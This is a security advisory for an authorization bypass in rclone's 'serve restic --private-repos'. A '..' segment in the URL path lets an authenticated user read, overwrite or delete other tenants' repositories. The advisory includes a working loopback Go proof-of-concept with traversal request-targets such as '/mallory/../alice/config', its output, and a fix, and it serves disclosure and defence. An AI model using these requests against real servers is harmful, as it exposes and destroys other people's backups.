VDB
KO
HIGH 8.8

GHSA-fqj9-69pf-6pjg

rclone `serve restic --private-repos` authorization bypass: `..` in the URL path lets an authenticated user read, overwrite and delete other users' repositories

Quick fix

GHSA-fqj9-69pf-6pjg — github.com/rclone/rclone: upgrade to the fixed version with the command below.

go get github.com/rclone/rclone@v1.74.4

Details

## Summary

`rclone serve restic --private-repos` exists to let one rclone instance host many users' restic backup repositories behind HTTP Basic auth while keeping each user confined to a path prefix of `/<username>/`. The documentation states the flag "can be used to limit users to repositories starting with a path of `/<username>/`", and the shipped test `TestResticPrivateRepositories` asserts that user `test` may reach `/test/config` but is `403`-blocked from `/other_user/config`. This isolation is the entire security purpose of the flag.

The isolation is enforced by two independent chi middlewares that derive the username and the backend object path from two *different* sources, and the path source is never canonicalized. `checkPrivate` authorizes the request by comparing the routed `{userID}` path segment against the authenticated user, while `WithRemote` builds the backend object key from the raw, un-cleaned URL path. A request such as `GET /<me>/../<victim>/config` keeps the first path segment equal to the attacker's own username (so `checkPrivate` returns the request as authorized) yet hands the backend the literal remote `me/../victim/config`. On any backend that resolves object paths with POSIX `path.Join`/`path.Clean` semantics — which includes the bundled `memory` backend used in the PoC below, and the widely deployed `sftp` and `ftp` backends — that `..` segment collapses, and the operation is performed against the victim's object.

Because the same un-cleaned remote feeds the `GET` (download), `POST` (upload/overwrite) and `DELETE` handlers, any authenticated user can read, overwrite, and delete the files of any other user's private repository hosted on the same server. For restic that means reading another tenant's `config`/`keys` metadata and pack files, corrupting their repository, or deleting their backups outright (subject to `--append-only`, which still permits cross-tenant reads).

## Affected code (v1.74.3, commit `37e4117…`)

`cmd/serve/restic/restic.go`. The two middlewares disagree on what "the path" is. `checkPrivate` reads the chi route param `userID`:

```go // Middleware to ensure authenticated user is accessing their own private folder func checkPrivate(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { user := chi.URLParam(r, "userID") userID, ok := libhttp.CtxGetUser(r.Context()) if ok && user != "" && user == userID { next.ServeHTTP(w, r) } else { http.Error(w, http.StatusText(http.StatusForbidden), http.StatusForbidden) } }) } ```

`WithRemote` builds the backend object key from the raw URL path with **no `path.Clean`** and no `..` rejection (the only transformation is the unrelated `data/xx` sharding rewrite):

```go func WithRemote(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { var urlpath string rctx := chi.RouteContext(r.Context()) if rctx != nil && rctx.RoutePath != "" { urlpath = rctx.RoutePath } else { urlpath = r.URL.Path } urlpath = strings.Trim(urlpath, "/") parts := matchData.FindStringSubmatch(urlpath) // ... data/2159dd48 -> data/21/2159dd48 sharding only ... ctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath) next.ServeHTTP(w, r.WithContext(ctx)) }) } ```

Route wiring (`Bind`): the auth-bearing `{userID}` segment is matched by chi for `checkPrivate`, but the catch-all `/*` that `WithRemote` reads keeps the literal `..`:

```go if s.opt.PrivateRepos { router.Route("/{userID}", func(r chi.Router) { r.Use(checkPrivate) s.bind(r) }) ... } ```

The remote stored by `WithRemote` is then used verbatim by the object handlers, e.g. `serveObject` → `s.newObject(ctx, remote)` → `s.f.NewObject(ctx, remote)`, `postObject` → `operations.RcatSize(..., remote, ...)`, and `deleteObject` → `o.Remove(...)`. For a request `GET /test/../victim/config`, instrumentation shows `checkPrivate` observing `userIDparam="test"` (authorized) while the object remote is `"test/../victim/config"` — the desync is exact.

## Attacker model / precondition

The attacker is a low-privileged but **legitimately authenticated** user of the server: they hold valid HTTP Basic credentials for their own private repo (this is the normal multi-tenant deployment the flag is designed for — e.g. a hosting provider giving each customer a restic endpoint). No victim interaction is required.

Preconditions: (1) the operator runs `rclone serve restic` with `--private-repos` and authentication configured (the documented multi-tenant setup); and (2) the served backend resolves object paths with POSIX `path.Join`/`path.Clean` semantics so the `..` collapses before the object is located. This holds for the bundled `memory` backend (used in the self-contained PoC), and for the commonly deployed `sftp` and `ftp` backends, whose object path is computed as `path.Join(f.absRoot, remote)` (`backend/sftp/sftp.go`, `o.path()`), which canonicalizes `..`. It does **not** hold for the `local` backend (which deliberately re-encodes `.`/`..` path components to fullwidth characters in `cleanRootPath`/`localPath`, neutralizing traversal), and S3-style backends treat keys as opaque so a literal `..` key normally will not match a victim object — so impact is backend-dependent. That backend-dependence is itself the defect: the cross-user authorization boundary must be enforced at the HTTP layer and must not silently rely on a particular backend's incidental path handling.

## Impact

Across the per-user trust boundary that `--private-repos` is meant to enforce, any authenticated user can, against any other user's repository on the same server:

- **Read** (`GET`): download the victim's restic `config` and `keys/*` files and pack/index objects — full confidentiality break of the victim's repository metadata and stored blobs. (Restic encrypts pack contents client-side, but the repository config, key files, snapshot/index structure and object existence all leak, and the master key is recoverable offline by anyone who also knows the victim's restic password — i.e. this removes the server-side isolation that was the only barrier.) - **Overwrite** (`POST`): replace the victim's objects with attacker-chosen content, corrupting or poisoning their backups. Blocked only if `--append-only` is set. - **Delete** (`DELETE`): remove the victim's repository objects, destroying their backups. Blocked only if `--append-only` is set (which still allows the read primitive).

This is a complete bypass of the multi-tenant isolation control, hence C:H/I:H/A:H, gated to PR:L by the need for a valid own-account.

## Proof of Concept (complete — runs on 127.0.0.1 only)

Lab-only. This is a single self-contained Go test placed inside the rclone source tree; it starts an in-process restic server on a loopback `httptest` listener backed by the bundled in-memory backend (which has the same `path.Join` key semantics as the sftp/ftp backends), then sends **raw**, un-normalized HTTP request-targets over a TCP socket (so the `..` is not collapsed client-side). It proves: (1) a user reads their own object — `200`; (2) a direct cross-tenant request is correctly blocked — `403`; (3) the `..` bypass reads the victim's secret — `200` + leak; (4) the same bypass overwrites the victim's object — `200`.

Reproduce against the exact vulnerable tag:

```console git clone --depth 1 --branch v1.74.3 https://github.com/rclone/rclone cd rclone # write the test file shown below to cmd/serve/restic/zzz_poc_test.go go test ./cmd/serve/restic/ -run TestPrivateRepoCrossTenantPoC -v ```

`cmd/serve/restic/zzz_poc_test.go`:

```go package restic

import ( "bufio" "context" "encoding/base64" "fmt" "net" "net/http/httptest" "strings" "testing" "time"

"github.com/rclone/rclone/fs" "github.com/rclone/rclone/fs/config/configfile" "github.com/rclone/rclone/fs/object" "github.com/rclone/rclone/lib/random" "github.com/stretchr/testify/require"

_ "github.com/rclone/rclone/backend/memory" )

func pocBasicAuth(user, pass string) string { return base64.StdEncoding.EncodeToString([]byte(user + ":" + pass)) }

// rawReq sends a raw HTTP/1.1 request with an arbitrary (un-normalized) // request-target + method + Basic auth, returning the full raw response. func rawReq(t *testing.T, addr, method, target, user, pass string) string { conn, err := net.Dial("tcp", addr) require.NoError(t, err) defer func() { _ = conn.Close() }() cred := pocBasicAuth(user, pass) req := fmt.Sprintf("%s %s HTTP/1.1\r\nHost: x\r\nAuthorization: Basic %s\r\nConnection: close\r\n\r\n", method, target, cred) _, err = conn.Write([]byte(req)) require.NoError(t, err) r := bufio.NewReader(conn) var sb strings.Builder buf := make([]byte, 8192) for { n, err := r.Read(buf) if n > 0 { sb.Write(buf[:n]) } if err != nil { break } } return sb.String() }

func pocBody(resp string) string { if idx := strings.Index(resp, "\r\n\r\n"); idx >= 0 { return resp[idx+4:] } return "" } func pocStatus(resp string) string { return strings.SplitN(resp, "\r\n", 2)[0] }

// TestPrivateRepoCrossTenantPoC demonstrates the --private-repos authz bypass // on a bucket-style backend (memory: same path.Join semantics as sftp/ftp). func TestPrivateRepoCrossTenantPoC(t *testing.T) { configfile.Install() ctx := context.Background()

// Bucket-style backend shared by all private-repo users. f, err := fs.NewFs(ctx, ":memory:repos") require.NoError(t, err)

put := func(remote, content string) { info := object.NewStaticObjectInfo(remote, time.Now(), int64(len(content)), true, nil, f) _, perr := f.Put(ctx, strings.NewReader(content), info) require.NoError(t, perr) }

// Victim "alice" uploads her restic config under her own private prefix. secret := "ALICE-PRIVATE-RESTIC-CONFIG-" + random.String(8) put("alice/config", secret)

// Attacker "mallory" has her own valid account on the same server. put("mallory/config", "mallory-own-config")

opt := newOpt() opt.PrivateRepos = true opt.Auth.BasicUser = "mallory" opt.Auth.BasicPass = "password" opt.HTTP.ListenAddr = nil

s, err := newServer(ctx, f, &opt) require.NoError(t, err) ts := httptest.NewServer(s.server.Router()) defer ts.Close() addr := strings.TrimPrefix(ts.URL, "http://")

// 1. Sanity: mallory reads her own config -> 200. r1 := rawReq(t, addr, "GET", "/mallory/config", "mallory", "password") t.Logf("[own] GET /mallory/config -> %s body=%q", pocStatus(r1), pocBody(r1))

// 2. Direct cross-tenant attempt is correctly blocked by checkPrivate -> 403. r2 := rawReq(t, addr, "GET", "/alice/config", "mallory", "password") t.Logf("[direct-blocked] GET /alice/config -> %s body=%q", pocStatus(r2), pocBody(r2))

// 3. THE BYPASS: dot-dot in the trailing path keeps userID==mallory so // checkPrivate passes, but the object remote collapses to alice/config. r3 := rawReq(t, addr, "GET", "/mallory/../alice/config", "mallory", "password") leaked := strings.Contains(pocBody(r3), secret) t.Logf("[BYPASS] GET /mallory/../alice/config -> %s leaked=%v body=%q", pocStatus(r3), leaked, pocBody(r3))

require.Equalf(t, "HTTP/1.1 200 OK", pocStatus(r3), "expected the bypass to return alice's object") require.Truef(t, leaked, "expected to read alice's secret config across the tenant boundary")

// 4. Write bypass too: mallory overwrites alice's object (append-only off). r4 := rawReq(t, addr, "POST", "/mallory/../alice/config", "mallory", "password") t.Logf("[BYPASS-write] POST /mallory/../alice/config -> %s", pocStatus(r4)) } ```

Observed output (v1.74.3 and master HEAD):

```text === RUN TestPrivateRepoCrossTenantPoC zzz_poc_test.go: [own] GET /mallory/config -> HTTP/1.1 200 OK body="mallory-own-config" zzz_poc_test.go: [direct-blocked] GET /alice/config -> HTTP/1.1 403 Forbidden body="Forbidden\n" zzz_poc_test.go: [BYPASS] GET /mallory/../alice/config -> HTTP/1.1 200 OK leaked=true body="ALICE-PRIVATE-RESTIC-CONFIG-sijejif0" zzz_poc_test.go: [BYPASS-write] POST /mallory/../alice/config -> HTTP/1.1 200 OK --- PASS: TestPrivateRepoCrossTenantPoC (0.00s) PASS ok github.com/rclone/rclone/cmd/serve/restic 0.022s ```

The shipped `TestResticPrivateRepositories` continues to pass alongside this PoC, confirming the intended isolation model (own `200`, direct cross-tenant `403`) is exactly what the `..` request defeats. Note the bypass is delivered as a raw request-target over the socket; a stock browser or `net/http` client would canonicalize the `..` before sending, but `curl --path-as-is`, restic's own REST client, or any raw socket write preserves it.

## Remediation

Enforce the per-user boundary on a canonicalized path, and make the authorized segment and the backend remote derive from the *same* cleaned value:

- In `WithRemote` (or before `checkPrivate` runs), reject or `path.Clean` the request path and refuse any path containing a `..` element after a leading-slash trim — e.g. compute `cleaned := path.Clean("/" + strings.Trim(urlpath, "/"))` and `403`/`400` if `cleaned` differs from the original or still contains a `..` segment. Then store `cleaned` (minus the leading slash) as the remote so the object key and the authorization decision are computed from one source of truth. - Additionally, in `checkPrivate`, verify that the (cleaned) object remote actually has the authenticated user's name as its first path segment, rather than trusting the chi `{userID}` route param in isolation: `require strings.HasPrefix(cleanedRemote, userID+"/") || cleanedRemote == userID`. - Defense in depth: the restic server should canonicalize and `..`-reject incoming object paths even when `--private-repos` is off, so that no backend is relied upon to neutralize traversal.

Please credit 5ud0 / Tarmo Technologies.

Are you affected?

Enter the version of the package you're using.

Affected packages

Go / github.com/rclone/rclone
Introduced in: 0 Fixed in: 1.74.4
Fix go get github.com/rclone/rclone@v1.74.4

References